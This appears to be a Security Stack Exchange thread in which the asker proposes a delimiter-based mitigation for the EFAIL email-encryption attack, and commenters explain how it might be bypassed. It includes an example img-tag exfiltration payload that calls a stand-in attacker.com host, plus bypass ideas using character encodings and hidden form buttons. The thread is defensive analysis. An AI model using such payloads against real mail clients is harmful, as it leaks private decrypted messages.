-1

The proposed method

Brief and simplified description of the attack:

Any and every single encrypted block B of the encrypted message can be surrounded by Trojan psuedo-encrypted data to give a multiblock encrypted message ABC. The A and C parts are cleverly chosen such that when ABC is decrypted it yields a message of the form:

<img src=http://attacker.com/"[...][block B plaintext][...]">

which is valid HTML syntax with a img tag, an attribute src and an a corresponding value which is a syntactically valid URL. The decrypted plaintext of encrypted block B is embedded in the URL, after the attackers valid address.

Depending upon the readers email client software and settings, the email client will automatically issue an HTTP request to the URL, causing the plaintext of B to be exfiltrated to the attacker.

This explanation is oversimplified in a way that overstates and doesn't understate the capacity of the EFAIL strategy. Hence it will be sufficient to show a EFAIL mitigation strategy that defeats this oversimplified explanation.

Important: An encrypted block is a specific technical term referring to the CBF block encoding algorithm specified in RFC4880 13.9. OpenPGP CFB Mode. Block B is of fixed size (16 bytes for all AES ciphers), and the block boundaries of B are fixed at the time of encryption. The attacker has no control over the choice of block boundaries, and cannot alter them.

Obfuscation using HTML syntax

Because each block is vulnerable, the solution works by individually protecting each block against being wholly included as the value part of an HTML attribute. It is possible because the attacker is restricted to dividing the message along existing encrypted block boundaries.

The solution is very simple. The plaintext to be encrypted in a single block is divided into two parts. This first part is the obfuscating string o, and the second part is the message m. The choice of o prevents m from being included in the attackers attribute value.

Specifically, the obfuscating string o must have a least the three characters single quote ('), double quote ("), and space ( ). That's enough for force the closure of the HTML attribute and protect the message m. This is decided by the HTML specifications

You can play around with the attackers choice of starting delimiters in this Try jsoup sandbox example (https://try.jsoup.org/%7E_nyXks5PuAs-zJeek8CVhpuAvtI)

When decrypted by the user in its raw form the total message will be human readable but a little ugly because it contains the obfuscation string o, but it will be safe from EFAIL.

This method requires no compression be done before encryption, as that would ruin the block boundaries.

It is notable that the researchers discounted the possibility of using delimiters as a mitigation strategy in their online summary. However, it can assumed that they just didn't consider the case of delimiters deliberately placed with respect to encryption block boundaries.

The question

Is there some other form of HTML string which could be used by the attacker to overcome the proposed EFAIL mitigation and allow exfiltration?

EDIT:
The first part of @Anders answer suggests a suitable counterattack to defeat the proposed method as originally written, at least on a sufficient subset of browsers to matter.

Just consider UTF8, UTF16-BE, and UTF16-LE. There are other possible encodings but in all of those the HTML delimiter characters are going to have the same values as in those three encodings. I don't believe any browsers support UTF-32. If a significant number did that would change things.

In order to defend against all of the possible encodings UTF8, UTF16-BE, and UTF16-LE, each of the three delimiters ( ) (") and (') would have to be included in each encoding, for each block.

It would suffice to include this 12 byte string: [NULL] ["] [NULL] ['] [NULL] [ ] ["] [NULL] ['] [NULL] [ ] [NULL] to defend against all 3 encodings. But that would only leave 4 bytes per 16 bytes block to hold message.

I give @Anders an upvote. But withhold selection as a correct answer due to other hand waving in the answer. We can talk about many imaginable attacks but they are not there until they are there. And even then they might have limitations that count them out. I'd select the answer if the hand waving were removed.

@SteffenUllrich and @Anders, in comments and answer, also suggest another attack: Introducing via HTML code a window wide invisible button that will be accidentally clicked to invoke a js script included the html and send information over the web or invoke mail return, etc.

Many browsers don't support javascript.
Thunderbird doc says this:

Due to various security considerations. Javascript has been disabled completely in message content (the javascript.allow.mailnews preference no longer has any effect). Javascript is enabled for remote content including RSS feeds.

Apparently gmail also strips javascript from all mail before display.

Considering that arbitrary plaintext can be inserted into captured mail containing an otherwise valid an unmodified encrypted message, this is a higher level problem with mail clients if they don't sandbox or sterilize decrypted messages, or all mail for that matter. It's certainly not limited to any particular encryption standard, like OpenPGP.

So I count this as a side issue.

Community
  • 1
Craig Hicks
  • 425
  • 3
  • 6
  • You are assuming that you can freely add these characters into the text and it will only maybe look ugly. But, given that this a HTML mail, inserting these characters might mess up the HTML (i.e. attribute quoting etc) which means you cannot freely place these characters. Also, why not simply use compression which OpenPGP does anyway and add some random (and random length) content in front (maybe a random HTML comment) in order to make it harder for the attacker. – Steffen Ullrich May 23 '18 at 20:33
  • @SteffenUllrich "why not ... add some random (and random length) content in front" - The researchers answer: "Because of the properties of the CBC and CFB modes of operation, an attacker can split a single S/MIME or PGP ciphertext into multiple parts and exfiltrate each independently with separate HTML tags (but still in one email). If one part contains quotes then only the residual plaintext bytes in that part are missing. There is a whole zoo of techniques that the attacker can use to exfiltrate the full plaintext despite these technical obstacles." - thats why I assume EVERY block suceptibl – Craig Hicks May 23 '18 at 23:40
  • @SteffenUllrich - Good point that the message plaintext cannot be HTML format (or it will be broken). However the limitation that it must be plain text does not prevent the method from overcoming the EFAIL researchers claimed invincibility against a defense using quotes. This method does not just make it harder for EFAIL, it makes it impossible. It is the only known method safe for otherwise unsafe EFAIL readers. – Craig Hicks May 24 '18 at 00:09
  • @SteffenUllrich - I very much appreciate your critical evaluation. I would emphasize the point of this question is to evaluate my claim that it is 100% effective at stopping EFAIL - something the researchers said was impossible. There is value in asking readers to try to prove this method doesn't 100% stop EFAIL - that is an orthogonal issue to one of how to implement the automatic insertion of the delimiter characters at block boundaries, and for updated readers the automatic removal of such characters. And the question of coding cost vs cold turkey dropping back-compat for a new algo. – Craig Hicks May 24 '18 at 00:18
  • You are assuming that `"`, `'` or ` ` will always break things. This might be true for `...`. If the MUA supports forms within the HTML mail your protection will not be sufficient. Apart from that I'm not claiming to simply add stuff at the beginning of the text but I've explicitly talked about adding stuff at the beginning of the text before compression to make it harder (not impossible but maybe hard enough). – Steffen Ullrich May 24 '18 at 04:31
  • @SteffenUllrich - Your proposal sounds promising. Would it require the user to press the reply button, or would it work like EFAIL just requiring opening the mail? – Craig Hicks May 24 '18 at 05:54
  • In case the attacker can also cause script execution it can be done automatically. – Steffen Ullrich May 24 '18 at 05:57
  • I think this question would be clearer if it was shorter. IMHO, the relevant parts here are under "Obfuscation using HTML syntax". – Anders May 24 '18 at 12:43
  • @SteffenUllrich - Got the bot message "move to chat". If you have an EFAIL similar attack then please post an answer. (But my gut feeling is [script execution ability >> EFAIL], so its no longer an EFAIL-like attack.) – Craig Hicks May 24 '18 at 16:24
  • @Anders - Short is simple and simple is better.; but no simpler than necessary. I feel the section "Brief and simplified description of the attack:" which explains about encryption blocks being individually susceptible, and their fixed boundaries, is also required to understand the answer. I will move the other stuff an offsite reference. Thanks for your advice. – Craig Hicks May 24 '18 at 17:21

1 Answers1

2

Clever hacks will probably not save you here, for a couple of reasons:

  • You have no idea what character encodings the recievers email client accepts. Since the attacker can control what encoding the decrypted data will be interpreted as, your quotes could be turned into something else.
  • As Steffen Ullrich points out, <textarea> could be an issue. Might be more HTML quirks out there.

  • It's not only about HTML. From efail.de:

    Note that there are other possible backchannels in email clients which are not related to HTML but these are more difficult to exploit.

    On the same topic, see this question.

Anders
  • 64,406
  • 24
  • 178
  • 215
  • Only UTF8 or UTF 16 are allowed. The last attacker byte before encrypted message block could be a UTF8 or UTF16 prefix neutralizing any or all of the following 3 characters of protecting the message block, but no more than 3. So the proposed method will still work by adding a buffer of 3 before the delimiters. --- Per – Craig Hicks May 24 '18 at 17:00
  • I'd upvote your answer for pointing out the use of an UTF8/16 prefix to neutralize the following 3 character. But I can't upvote the other handwaving. If an altern attack does not work just by the user opening their mail then it's a different category. Can you remove the handwaving so I can upvote your point about UFT8/16 prefix? – Craig Hicks May 24 '18 at 17:08
  • @CraigHicks Why would only UTF8 and 16 be allowed? Wouldn't that depend on the mail client? Or am I missing something? – Anders May 24 '18 at 17:21
  • @CraigHicks As for the textarea: create an invisible submit button spanning 100% of the viewport. One click, and it's leaked. – Anders May 24 '18 at 17:23
  • I'll admit that it is a bit handwavy, but if you can make small inroads with handwaving, it's a sign it might not survive more serious study. I agree that this might not be a complete and final answer with proof of exploitability, though. – Anders May 24 '18 at 17:31